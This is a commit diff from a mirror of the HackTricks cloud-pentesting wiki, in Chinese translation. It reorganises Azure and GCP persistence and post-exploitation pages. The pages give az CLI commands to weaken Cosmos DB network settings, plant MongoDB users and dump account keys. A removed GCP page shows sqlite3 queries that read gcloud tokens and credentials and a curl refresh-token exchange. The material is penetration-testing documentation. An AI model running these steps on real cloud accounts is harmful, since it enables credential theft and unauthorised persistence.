mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
File diff suppressed because one or more lines are too long
+5
-5
@@ -142,7 +142,7 @@
|
||||
- [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md)
|
||||
- [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md)
|
||||
- [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md)
|
||||
- [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
|
||||
- [GCP - Token Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md)
|
||||
- [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md)
|
||||
- [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md)
|
||||
- [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md)
|
||||
@@ -458,8 +458,8 @@
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - MySQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
||||
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
|
||||
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
|
||||
@@ -489,8 +489,8 @@
|
||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||
- [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md)
|
||||
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
|
||||
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistance.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
|
||||
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md)
|
||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
||||
- [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
# Az - 队列存储持久性
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 队列
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue.md
|
||||
{{#endref}}
|
||||
|
||||
### 操作: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
此权限允许攻击者在存储帐户内创建或修改队列及其属性。它可以用于创建未经授权的队列、修改元数据或更改访问控制列表(ACL)以授予或限制访问。此能力可能会干扰工作流程、注入恶意数据、外泄敏感信息或操纵队列设置以启用进一步的攻击。
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
|
||||
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,20 +0,0 @@
|
||||
# Az - SQL Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### 常见持久性技术
|
||||
|
||||
- 破坏 SQL 凭据或创建 SQL 用户(如有需要,启用 SQL 身份验证)
|
||||
- 将被破坏的用户分配为 Entrad ID 管理员(如有需要,启用 Entra ID 身份验证)
|
||||
- 在 VM 中设置后门(如果使用 SQL VM)
|
||||
- 创建防火墙规则以保持对 SQL 数据库的访问
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+15
-50
@@ -11,13 +11,26 @@
|
||||
|
||||
|
||||
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
|
||||
拥有此权限,您可以创建或更新 Azure Cosmos DB 账户。这包括修改账户级别设置、添加或删除区域、改变一致性级别,以及启用或禁用多区域写入等功能。
|
||||
拥有此权限,您可以创建或更新 Azure Cosmos DB 账户。这包括修改账户级别的配置、启用或禁用自动故障转移、管理网络访问控制、设置备份策略和调整一致性级别。拥有此权限的攻击者可以更改设置以削弱安全控制、干扰可用性或通过修改网络规则来外泄数据。
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--capabilities EnableMongoRoleBasedAccessControl
|
||||
```
|
||||
此外,您可以在帐户中启用托管身份:
|
||||
```bash
|
||||
az cosmosdb identity assign \
|
||||
--name <cosmosdb_account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库中创建或修改容器(集合)。容器用于存储数据,对它们的更改可能会影响数据库的结构和访问模式。
|
||||
```bash
|
||||
@@ -112,59 +125,11 @@ az cosmosdb mongodb collection create \
|
||||
--name <collection_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 数据库。这允许配置新的数据库以存储和管理集合和文档。
|
||||
通过此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 数据库。这允许配置新的数据库以存储和管理集合和文档。
|
||||
```bash
|
||||
az cosmosdb mongodb database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 角色定义。这允许为 MongoDB 用户定义具有特定权限的自定义角色。
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
|
||||
通过此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库提供具有特定角色和访问级别的用户。
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "myUser",
|
||||
"Password": "mySecurePassword",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -34,7 +34,7 @@ az cosmosdb sql role definition create \
|
||||
]
|
||||
}'
|
||||
```
|
||||
之后,定义的分配被给予一个用户。在此之后,该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。
|
||||
之后,定义的分配被给予一个用户。之后,该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。
|
||||
```bash
|
||||
az cosmosdb sql role assignment create \
|
||||
--account-name <account_name> \
|
||||
@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
|
||||
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 角色定义。这允许为 MongoDB 用户定义具有特定权限的自定义角色。必须启用 RBAC 功能才能使用此权限。
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为具有特定角色和访问 MongoDB 数据库的用户进行配置。
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "<myUser>",
|
||||
"Password": "<mySecurePassword>",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
在MongoDB中创建新用户后,我们可以访问它:
|
||||
```bash
|
||||
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
|
||||
通过此权限,您可以检索 Azure Cosmos DB 帐户的主密钥和次密钥。这些密钥提供对数据库帐户及其资源的完全访问权限,使您能够执行数据读取、写入和配置更改等操作。
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,90 +0,0 @@
|
||||
# GCP - Token Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Authenticated User Tokens
|
||||
|
||||
要获取用户的 **当前令牌**,您可以运行:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
在此页面查看如何**直接使用此令牌通过 gcloud**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
要获取**生成新访问令牌**的详细信息,请运行:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
在 **`$HOME/.config/gcloud/application_default_credentials.json`** 和 **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** 中也可以找到刷新令牌。
|
||||
|
||||
要使用 **刷新令牌**、客户端 ID 和客户端密钥获取新的访问令牌,请运行:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
刷新令牌的有效性可以在 **Admin** > **Security** > **Google Cloud session control** 中管理,默认设置为 16 小时,但可以设置为永不过期:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
|
||||
使用类似 `gcloud auth login` 的方式进行身份验证时,浏览器会打开一个提示,接受所有范围后,浏览器将向工具打开的 http 端口发送类似于以下的请求:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
然后,gcloud 将使用状态和代码与一些硬编码的 `client_id` (`32555940559.apps.googleusercontent.com`) 和 **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) 来获取 **最终的刷新令牌数据**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,与 localhost 的通信是通过 HTTP 进行的,因此可以拦截数据以获取刷新令牌,但此数据仅有效 1 次,因此这将毫无用处,直接从文件中读取刷新令牌更容易。
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
您可以在 [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) 找到所有 Google 范围,或通过执行以下命令获取它们:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
可以使用以下脚本查看**`gcloud`**用于身份验证的应用程序可以支持哪些范围:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
执行后检查该应用支持以下范围:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
https://www.googleapis.com/auth/cloud-platform
|
||||
https://www.googleapis.com/auth/compute
|
||||
https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
有趣的是,这个应用支持 **`drive`** 范围,这可能允许用户在攻击者设法迫使用户生成具有此范围的令牌时,从 GCP 升级到 Workspace。
|
||||
|
||||
**检查如何** [**在这里滥用它**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**。**
|
||||
|
||||
### 服务账户
|
||||
|
||||
就像经过身份验证的用户一样,如果您设法 **破坏服务账户的私钥文件**,您将能够 **通常无限期访问它**。\
|
||||
然而,如果您窃取了服务账户的 **OAuth 令牌**,这可能会更有趣,因为即使默认情况下这些令牌仅在一个小时内有效,如果 **受害者删除了私有 API 密钥,OAuth 令牌在过期之前仍然有效**。
|
||||
|
||||
### 元数据
|
||||
|
||||
显然,只要您在运行 GCP 环境的机器内部,您将能够 **通过联系元数据端点访问附加到该机器的服务账户**(请注意,您可以在此端点访问的 OAuth 令牌通常受范围限制)。
|
||||
|
||||
### 补救措施
|
||||
|
||||
一些针对这些技术的补救措施在 [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) 中进行了说明。
|
||||
|
||||
### 参考
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user